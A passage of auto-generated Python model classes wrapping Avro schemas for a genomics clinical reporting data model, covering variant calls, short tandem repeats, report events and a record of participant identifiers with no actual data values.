{"type": "record", "name": "SensitiveInformation", "namespace": "org.gel.models.participant.avro",
"fields": [{"name": "versionControl", "type": {"type": "record", "name": "VersionControl", "fields":
[{"name": "GitVersionControl", "type": "string", "doc": "", "default": "1.1.0"}]}, "doc": ""},
{"name": "gelID", "type": "string"}, {"name": "externalIds", "type": ["null", {"type": "array",
"items": "string"}]}, {"name": "genomicMedicineCenter", "type": ["null", "string"]}, {"name":
"fullNameOfResponsibleConsultant", "type": ["null", "string"]}, {"name": "contactNumber", "type":
["null", "string"]}, {"name": "hospitalOfResponsibleConsultant", "type": ["null", "string"]},
{"name": "centerSampleId", "type": ["null", "string"]}, {"name": "originatingCenter", "type":
["null", "string"]}, {"name": "centerPatientId", "type": ["null", "string"]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"centerPatientId",
"centerSampleId",
"contactNumber",
"externalIds",
"fullNameOfResponsibleConsultant",
"gelID",
"genomicMedicineCenter",
"hospitalOfResponsibleConsultant",
"originatingCenter",
"versionControl",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'versionControl': VersionControl,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'versionControl': VersionControl,
}
return embeddedTypes[fieldName]
__slots__ = [
'centerPatientId', 'centerSampleId', 'contactNumber',
'externalIds', 'fullNameOfResponsibleConsultant', 'gelID',
'genomicMedicineCenter', 'hospitalOfResponsibleConsultant',
'originatingCenter', 'versionControl'
]
def __init__(self, **kwargs):
self.centerPatientId = kwargs.get(
'centerPatientId', None)
self.centerSampleId = kwargs.get(
'centerSampleId', None)
self.contactNumber = kwargs.get(
'contactNumber', None)
self.externalIds = kwargs.get(
'externalIds', None)
self.fullNameOfResponsibleConsultant = kwargs.get(
'fullNameOfResponsibleConsultant', None)
self.gelID = kwargs.get(
'gelID', None)
self.genomicMedicineCenter = kwargs.get(
'genomicMedicineCenter', None)
self.hospitalOfResponsibleConsultant = kwargs.get(
'hospitalOfResponsibleConsultant', None)
self.originatingCenter = kwargs.get(
'originatingCenter', None)
self.versionControl = kwargs.get(
'versionControl', VersionControl())
class Severity(object):
"""
No documentation
"""
BORDERLINE = "BORDERLINE"
MILD = "MILD"
MODERATE = "MODERATE"
SEVERE = "SEVERE"
PROFOUND = "PROFOUND"
def __hash__(self):
return str(self).__hash__()
class Sex(object):
"""
Sex
"""
MALE = "MALE"
FEMALE = "FEMALE"
UNKNOWN = "UNKNOWN"
def __hash__(self):
return str(self).__hash__()
class ShortTandemRepeat(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "ShortTandemRepeat", "namespace": "org.gel.models.report.avro", "fields":
[{"name": "coordinates", "type": {"type": "record", "name": "Coordinates", "fields": [{"name":
"assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38",
"GRCh37"]}}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name":
"end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name":
"ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type":
"int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}}, {"name": "reportEvents",
"type": {"type": "array", "items": {"type": "record", "name": "ReportEvent", "doc": "", "fields":
[{"name": "reportEventId", "type": "string", "doc": ""}, {"name": "phenotypes", "type": {"type":
"record", "name": "Phenotypes", "doc": "", "fields": [{"name": "nonStandardPhenotype", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "standardPhenotypes", "type":
["null", {"type": "array", "items": {"type": "record", "name": "StandardPhenotype", "doc": "",
"fields": [{"name": "id", "type": "string"}, {"name": "name", "type": ["null", "string"]}, {"name":
"namespace", "type": ["null", "string"]}, {"name": "definition", "type": ["null", "string"]},
{"name": "comment", "type": ["null", "string"]}, {"name": "alternativeIds", "type": ["null",
"string"]}, {"name": "synonyms", "type": ["null", "string"]}, {"name": "isA", "type": ["null",
"string"]}, {"name": "ontology", "type": {"type": "record", "name": "Ontology", "doc": "", "fields":
[{"name": "name", "type": "string"}, {"name": "version", "type": "string"}]}, "doc": ""}, {"name":
"matchScore", "type": ["null", "float"], "doc": ""}]}}], "doc": ""}]}, "doc": ""}, {"name":
"variantConsequences", "type": {"type": "array", "items": {"type": "record", "name":
"VariantConsequence", "doc": "", "fields": [{"name": "id", "type": "string", "doc": ""}, {"name":
"name", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "genePanel", "type":
["null", {"type": "record", "name": "GenePanel", "doc": "", "fields": [{"name": "panelIdentifier",
"type": ["null", "string"], "doc": ""}, {"name": "panelName", "type": ["null", "string"], "doc":
""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name": "source", "type":
["null", "string"], "doc": ""}]}], "doc": ""}, {"name": "modeOfInheritance", "type": {"type":
"enum", "name": "ModeOfInheritance", "doc": "", "symbols": ["monoallelic",
"monoallelic_not_imprinted", "monoallelic_maternally_imprinted", "monoallelic_paternally_imprinted",
"biallelic", "monoallelic_and_biallelic", "monoallelic_and_more_severe_biallelic",
"xlinked_biallelic", "xlinked_monoallelic", "mitochondrial", "unknown", "na"]}, "doc": ""}, {"name":
"genomicEntities", "type": {"type": "array", "items": {"type": "record", "name": "GenomicEntity",
"doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "GenomicEntityType", "doc":
"", "symbols": ["regulatory_region", "gene", "transcript", "intergenic", "gene_fusion",
"genomic_region", "cytobands"]}, "doc": ""}, {"name": "ensemblId", "type": ["null", "string"],
"doc": ""}, {"name": "geneSymbol", "type": ["null", "string"], "doc": ""}, {"name": "otherIds",
"type": ["null", {"type": "array", "items": {"type": "record", "name": "Identifier", "fields":
[{"name": "source", "type": "string", "doc": ""}, {"name": "identifier", "type": "string", "doc":
""}]}}], "doc": ""}]}}, "doc": ""}, {"name": "segregationPattern", "type": ["null", {"type": "enum",
"name": "SegregationPattern", "symbols": ["UniparentalIsodisomy", "SimpleRecessive",
"CompoundHeterozygous", "deNovo", "InheritedAutosomalDominant",
"InheritedAutosomalDominantMaternallyImprinted", "InheritedAutosomalDominantPaternallyImprinted",
"XLinkedCompoundHeterozygous", "XLinkedSimpleRecessive", "XLinkedMonoallelic",
"MitochondrialGenome"]}], "doc": ""}, {"name": "penetrance", "type": ["null", {"type": "enum",
"name": "Penetrance", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols":
["complete", "incomplete"]}], "doc": ""}, {"name": "deNovoQualityScore", "type": ["null", "float"],
"doc": ""}, {"name": "fullyExplainsPhenotype", "type": ["null", "boolean"], "doc": ""}, {"name":
"groupOfVariants", "type": ["null", "int"], "doc": ""}, {"name": "eventJustification", "type":
["null", "string"], "doc": ""}, {"name": "roleInCancer", "type": ["null", {"type": "array", "items":
{"type": "enum", "name": "RoleInCancer", "doc": "", "symbols": ["oncogene", "tumor_suppressor_gene",
"both"]}}], "doc": ""}, {"name": "actions", "type": ["null", {"type": "record", "name": "Actions",
"doc": "", "fields": [{"name": "trials", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "Trial", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name":
"studyIdentifier", "type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"],
"doc": ""}, {"name": "estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name":
"title", "type": ["null", "string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum",
"name": "StudyPhase", "doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2",
"phase2", "phase2_phase3", "phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type":
["null", {"type": "array", "items": {"type": "record", "name": "Intervention", "doc": "", "fields":
[{"name": "interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "",
"symbols": ["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic",
"dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name":
"interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type":
["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment",
"prevention", "diagnostic", "supportive_care", "screening", "health_services_research",
"basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type":
["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional",
"observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name":
"demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name":
"DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex",
"namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE",
"UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields":
[{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit",
"type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days",
"hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type":
"array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type":
["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type":
["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name":
"variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "Prognosis", "fields": [{"name":
"referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null", {"type":
"enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis", "favourable_prognosis",
"unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""},
{"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"description", "type": ["null", "string"], "doc": ""}, {"name": "variantActionable", "type":
"boolean", "doc": ""}]}}]}, {"name": "therapies", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "Therapy", "fields": [{"name": "referenceUrl", "type": "string", "doc":
""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null",
{"type": "array", "items": "string"}], "doc": ""}, {"name": "drugResponse", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "DrugResponse", "fields": [{"name":
"TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification", "type":
{"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity",
"reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance",
"reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity",
"adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose",
"reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy",
"altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name": "otherInterventions", "type": ["null",
{"type": "array", "items": "Intervention"}], "doc": ""}, {"name": "variantActionable", "type":
"boolean", "doc": ""}]}}]}]}], "doc": ""}, {"name": "score", "type": ["null", "float"], "doc": ""},
{"name": "vendorSpecificScores", "type": ["null", {"type": "map", "values": "float"}], "doc": ""},
{"name": "variantClassification", "type": ["null", {"type": "record", "name":
"VariantClassification", "doc": "", "fields": [{"name": "clinicalSignificance", "type": ["null",
{"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign",
"likely_pathogenic", "pathogenic", "uncertain_significance"]}], "doc": ""}, {"name":
"drugResponseClassification", "type": ["null", "DrugResponseClassification"], "doc": ""}, {"name":
"traitAssociation", "type": ["null", {"type": "enum", "name": "TraitAssociation", "symbols":
["established_risk_allele", "likely_risk_allele", "uncertain_risk_allele", "protective"]}], "doc":
""}, {"name": "tumorigenesisClassification", "type": ["null", {"type": "enum", "name":
"TumorigenesisClassification", "symbols": ["driver", "passenger", "modifier"]}], "doc": ""},
{"name": "functionalEffect", "type": ["null", {"type": "enum", "name": "VariantFunctionalEffect",
"symbols": ["dominant_negative_variant", "gain_of_function_variant", "lethal_variant",
"loss_of_function_variant", "loss_of_heterozygosity", "null_variant"]}], "doc": ""}]}], "doc": ""},
{"name": "guidelineBasedVariantClassification", "type": ["null", {"type": "record", "name":
"GuidelineBasedVariantClassification", "doc": "", "fields": [{"name": "acmgVariantClassification",
"type": ["null", {"type": "record", "name": "AcmgVariantClassification", "doc": "", "fields":
[{"name": "acmgEvidences", "type": {"type": "array", "items": {"type": "record", "name":
"AcmgEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name":
"AcmgEvidenceCategory", "doc": "", "symbols": ["population_data",
"computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data",
"allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type":
"enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""},
{"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols":
["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name":
"modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc":
""}]}}}, {"name": "clinicalSignificance", "type": "ClinicalSignificance"}, {"name": "assessment",
"type": ["null", "string"]}]}]}, {"name": "ampVariantClassification", "type": ["null", {"type":
"record", "name": "AmpVariantClassification", "doc": "", "fields": [{"name": "ampEvidences", "type":
{"type": "array", "items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name":
"type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type",
"therapies", "variant_frequencies", "potential_germline", "population_database_presence",
"germline_database_presence", "somatic_database_presence", "impact_predictive_software",
"pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type":
"string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": "AmpTier",
"doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name":
"ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type":
{"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols":
["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum",
"name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB",
"levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc":
""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}], "doc":
""}, {"name": "algorithmBasedVariantClassifications", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "AlgorithmBasedVariantClassification", "fields": [{"name":
"algorithmName", "type": "string", "doc": ""}, {"name": "classification", "type": "string", "doc":
""}, {"name": "rank", "type": ["null", "int"], "doc": ""}, {"name": "score", "type": ["null",
"int"], "doc": ""}]}}], "doc": ""}, {"name": "tier", "type": ["null", {"type": "enum", "name":
"Tier", "doc": "", "symbols": ["NONE", "TIER1", "TIER2", "TIER3", "TIER4", "TIER5", "TIERA",
"TIERB"]}], "doc": ""}, {"name": "domain", "type": ["null", {"type": "enum", "name": "Domain",
"symbols": ["DOMAIN1", "DOMAIN2", "DOMAIN3", "DOMAIN4", "NONE"]}], "doc": ""}]}}}, {"name":
"variantCalls", "type": {"type": "array", "items": {"type": "record", "name": "VariantCall", "doc":
"", "fields": [{"name": "participantId", "type": "string", "doc": ""}, {"name": "sampleId", "type":
"string", "doc": ""}, {"name": "zygosity", "type": {"type": "enum", "name": "Zygosity", "doc": "",
"symbols": ["reference_homozygous", "heterozygous", "alternate_homozygous", "missing",
"half_missing_reference", "half_missing_alternate", "alternate_hemizigous", "reference_hemizigous",
"unk", "na"]}, "doc": ""}, {"name": "phaseGenotype", "type": ["null", {"type": "record", "name":
"PhaseGenotype", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}},
{"name": "phaseSet", "type": "int"}]}], "doc": ""}, {"name": "sampleVariantAlleleFrequency", "type":
["null", "double"], "doc": ""}, {"name": "depthReference", "type": ["null", "int"], "doc": ""},
{"name": "depthAlternate", "type": ["null", "int"], "doc": ""}, {"name": "numberOfCopies", "type":
["null", {"type": "array", "items": {"type": "record", "name": "NumberOfCopies", "fields": [{"name":
"numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type": ["null",
"int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]}}], "doc": ""}, {"name":
"alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name":
"AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant",
"paternal_variant", "pedigree_specific_variant", "population_specific_variant",
"somatic_variant"]}}], "doc": ""}, {"name": "supportingReadTypes", "type": ["null", {"type":
"array", "items": {"type": "enum", "name": "SupportingReadType", "symbols": ["spanning", "flanking",
"inrepeat"]}}]}]}}, "doc": ""}, {"name": "variantAttributes", "type": ["null", {"type": "record",
"name": "VariantAttributes", "doc": "", "fields": [{"name": "genomicChanges", "type": ["null",
{"type": "array", "items": "string"}], "doc": ""}, {"name": "cdnaChanges", "type": ["null", {"type":
"array", "items": "string"}], "doc": ""}, {"name": "proteinChanges", "type": ["null", {"type":
"array", "items": "string"}], "doc": ""}, {"name": "additionalTextualVariantAnnotations", "type":
["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "references", "type": ["null",
{"type": "map", "values": "string"}], "doc": ""}, {"name": "variantIdentifiers", "type": ["null",
{"type": "record", "name": "VariantIdentifiers", "fields": [{"name": "dbSnpId", "type": ["null",
"string"], "doc": ""}, {"name": "cosmicIds", "type": ["null", {"type": "array", "items": "string"}],
"doc": ""}, {"name": "clinVarIds", "type": ["null", {"type": "array", "items": "string"}], "doc":
""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": "Identifier"}]}]}]}, {"name":
"alleleFrequencies", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"AlleleFrequency", "doc": "", "fields": [{"name": "study", "type": "string", "doc": ""}, {"name":
"population", "type": "string", "doc": ""}, {"name": "alternateFrequency", "type": "float", "doc":
""}]}}], "doc": ""}, {"name": "additionalNumericVariantAnnotations", "type": ["null", {"type":
"map", "values": "float"}], "doc": ""}, {"name": "comments", "type": ["null", {"type": "array",
"items": "string"}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array",
"items": "AlleleOrigin"}], "doc": ""}, {"name": "ihp", "type": ["null", "int"], "doc": ""}, {"name":
"recurrentlyReported", "type": ["null", "boolean"], "doc": ""}, {"name": "fdp50", "type": ["null",
"float"], "doc": ""}, {"name": "others", "type": ["null", {"type": "map", "values": "string"}],
"doc": ""}]}]}, {"name": "shortTandemRepeatReferenceData", "type": ["null", {"type": "record",
"name": "ShortTandemRepeatReferenceData", "fields": [{"name": "repeatedSequence", "type": "string"},
{"name": "pathogenic_number_of_repeats_threshold", "type": "int"}, {"name":
"normal_number_of_repeats_threshold", "type": "int"}]}]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"coordinates",
"reportEvents",
"shortTandemRepeatReferenceData",
"variantAttributes",
"variantCalls",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'coordinates': Coordinates,
'reportEvents': ReportEvent,
'shortTandemRepeatReferenceData': ShortTandemRepeatReferenceData,
'variantAttributes': VariantAttributes,
'variantCalls': VariantCall,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'coordinates': Coordinates,
'reportEvents': ReportEvent,
'shortTandemRepeatReferenceData': ShortTandemRepeatReferenceData,
'variantAttributes': VariantAttributes,
'variantCalls': VariantCall,
}
return embeddedTypes[fieldName]
__slots__ = [
'coordinates', 'reportEvents',
'shortTandemRepeatReferenceData', 'variantAttributes',
'variantCalls'
]
def __init__(self, **kwargs):
self.coordinates = kwargs.get(
'coordinates', Coordinates())
self.reportEvents = kwargs.get(
'reportEvents', None)
self.shortTandemRepeatReferenceData = kwargs.get(
'shortTandemRepeatReferenceData', None)
self.variantAttributes = kwargs.get(
'variantAttributes', None)
self.variantCalls = kwargs.get(
'variantCalls', None)
class ShortTandemRepeatReferenceData(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "ShortTandemRepeatReferenceData", "namespace":
"org.gel.models.report.avro", "fields": [{"name": "repeatedSequence", "type": "string"}, {"name":
"pathogenic_number_of_repeats_threshold", "type": "int"}, {"name":
"normal_number_of_repeats_threshold", "type": "int"}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"normal_number_of_repeats_threshold",
"pathogenic_number_of_repeats_threshold",
"repeatedSequence",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'normal_number_of_repeats_threshold',
'pathogenic_number_of_repeats_threshold', 'repeatedSequence'
]
def __init__(self, **kwargs):
self.normal_number_of_repeats_threshold = kwargs.get(
'normal_number_of_repeats_threshold', None)
self.pathogenic_number_of_repeats_threshold = kwargs.get(
'pathogenic_number_of_repeats_threshold', None)
self.repeatedSequence = kwargs.get(
'repeatedSequence', None)
class SmallVariant(ProtocolElement):
"""
A reported variant
"""
_schemaSource = """
{"type": "record", "name": "SmallVariant", "namespace": "org.gel.models.report.avro", "doc": "",
"fields": [{"name": "variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates",
"doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position",
"type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate",
"type": "string", "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly",
"doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}, "doc": ""}, {"name": "variantCalls",
"type": {"type": "array", "items": {"type": "record", "name": "VariantCall", "doc": "", "fields":
[{"name": "participantId", "type": "string", "doc": ""}, {"name": "sampleId", "type": "string",
"doc": ""}, {"name": "zygosity", "type": {"type": "enum", "name": "Zygosity", "doc": "", "symbols":
["reference_homozygous", "heterozygous", "alternate_homozygous", "missing",
"half_missing_reference", "half_missing_alternate", "alternate_hemizigous", "reference_hemizigous",
"unk", "na"]}, "doc": ""}, {"name": "phaseGenotype", "type": ["null", {"type": "record", "name":
"PhaseGenotype", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}},
{"name": "phaseSet", "type": "int"}]}], "doc": ""}, {"name": "sampleVariantAlleleFrequency", "type":
["null", "double"], "doc": ""}, {"name": "depthReference", "type": ["null", "int"], "doc": ""},
{"name": "depthAlternate", "type": ["null", "int"], "doc": ""}, {"name": "numberOfCopies", "type":
["null", {"type": "array", "items": {"type": "record", "name": "NumberOfCopies", "fields": [{"name":
"numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type": ["null",
"int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]}}], "doc": ""}, {"name":
"alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name":
"AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant",
"paternal_variant", "pedigree_specific_variant", "population_specific_variant",
"somatic_variant"]}}], "doc": ""}, {"name": "supportingReadTypes", "type": ["null", {"type":
"array", "items": {"type": "enum", "name": "SupportingReadType", "symbols": ["spanning", "flanking",
"inrepeat"]}}]}]}}, "doc": ""}, {"name": "reportEvents", "type": {"type": "array", "items": {"type":
"record", "name": "ReportEvent", "doc": "", "fields": [{"name": "reportEventId", "type": "string",
"doc": ""}, {"name": "phenotypes", "type": {"type": "record", "name": "Phenotypes", "doc": "",
"fields": [{"name": "nonStandardPhenotype", "type": ["null", {"type": "array", "items": "string"}],
"doc": ""}, {"name": "standardPhenotypes", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "StandardPhenotype", "doc": "", "fields": [{"name": "id", "type": "string"},
{"name": "name", "type": ["null", "string"]}, {"name": "namespace", "type": ["null", "string"]},
{"name": "definition", "type": ["null", "string"]}, {"name": "comment", "type": ["null", "string"]},
{"name": "alternativeIds", "type": ["null", "string"]}, {"name": "synonyms", "type": ["null",
"string"]}, {"name": "isA", "type": ["null", "string"]}, {"name": "ontology", "type": {"type":
"record", "name": "Ontology", "doc": "", "fields": [{"name": "name", "type": "string"}, {"name":
"version", "type": "string"}]}, "doc": ""}, {"name": "matchScore", "type": ["null", "float"], "doc":
""}]}}], "doc": ""}]}, "doc": ""}, {"name": "variantConsequences", "type": {"type": "array",
"items": {"type": "record", "name": "VariantConsequence", "doc": "", "fields": [{"name": "id",
"type": "string", "doc": ""}, {"name": "name", "type": ["null", "string"], "doc": ""}]}}, "doc":
""}, {"name": "genePanel", "type": ["null", {"type": "record", "name": "GenePanel", "doc": "",
"fields": [{"name": "panelIdentifier", "type": ["null", "string"], "doc": ""}, {"name": "panelName",
"type": ["null", "string"], "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc":
""}, {"name": "source", "type": ["null", "string"], "doc": ""}]}], "doc": ""}, {"name":
"modeOfInheritance", "type": {"type": "enum", "name": "ModeOfInheritance", "doc": "", "symbols":
["monoallelic", "monoallelic_not_imprinted", "monoallelic_maternally_imprinted",
"monoallelic_paternally_imprinted", "biallelic", "monoallelic_and_biallelic",
"monoallelic_and_more_severe_biallelic", "xlinked_biallelic", "xlinked_monoallelic",
"mitochondrial", "unknown", "na"]}, "doc": ""}, {"name": "genomicEntities", "type": {"type":
"array", "items": {"type": "record", "name": "GenomicEntity", "doc": "", "fields": [{"name": "type",
"type": {"type": "enum", "name": "GenomicEntityType", "doc": "", "symbols": ["regulatory_region",
"gene", "transcript", "intergenic", "gene_fusion", "genomic_region", "cytobands"]}, "doc": ""},
{"name": "ensemblId", "type": ["null", "string"], "doc": ""}, {"name": "geneSymbol", "type":
["null", "string"], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "Identifier", "fields": [{"name": "source", "type": "string", "doc": ""},
{"name": "identifier", "type": "string", "doc": ""}]}}], "doc": ""}]}}, "doc": ""}, {"name":
"segregationPattern", "type": ["null", {"type": "enum", "name": "SegregationPattern", "symbols":
["UniparentalIsodisomy", "SimpleRecessive", "CompoundHeterozygous", "deNovo",
"InheritedAutosomalDominant", "InheritedAutosomalDominantMaternallyImprinted",
"InheritedAutosomalDominantPaternallyImprinted", "XLinkedCompoundHeterozygous",
"XLinkedSimpleRecessive", "XLinkedMonoallelic", "MitochondrialGenome"]}], "doc": ""}, {"name":
"penetrance", "type": ["null", {"type": "enum", "name": "Penetrance", "namespace":
"org.gel.models.participant.avro", "doc": "", "symbols": ["complete", "incomplete"]}], "doc": ""},
{"name": "deNovoQualityScore", "type": ["null", "float"], "doc": ""}, {"name":
"fullyExplainsPhenotype", "type": ["null", "boolean"], "doc": ""}, {"name": "groupOfVariants",
"type": ["null", "int"], "doc": ""}, {"name": "eventJustification", "type": ["null", "string"],
"doc": ""}, {"name": "roleInCancer", "type": ["null", {"type": "array", "items": {"type": "enum",
"name": "RoleInCancer", "doc": "", "symbols": ["oncogene", "tumor_suppressor_gene", "both"]}}],
"doc": ""}, {"name": "actions", "type": ["null", {"type": "record", "name": "Actions", "doc": "",
"fields": [{"name": "trials", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"Trial", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name": "studyIdentifier",
"type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"], "doc": ""}, {"name":
"estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name": "title", "type": ["null",
"string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum", "name": "StudyPhase",
"doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2", "phase2", "phase2_phase3",
"phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type": ["null", {"type": "array",
"items": {"type": "record", "name": "Intervention", "doc": "", "fields": [{"name":
"interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "", "symbols":
["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic",
"dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name":
"interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type":
["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment",
"prevention", "diagnostic", "supportive_care", "screening", "health_services_research",
"basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type":
["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional",
"observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name":
"demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name":
"DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex",
"namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE",
"UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields":
[{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit",
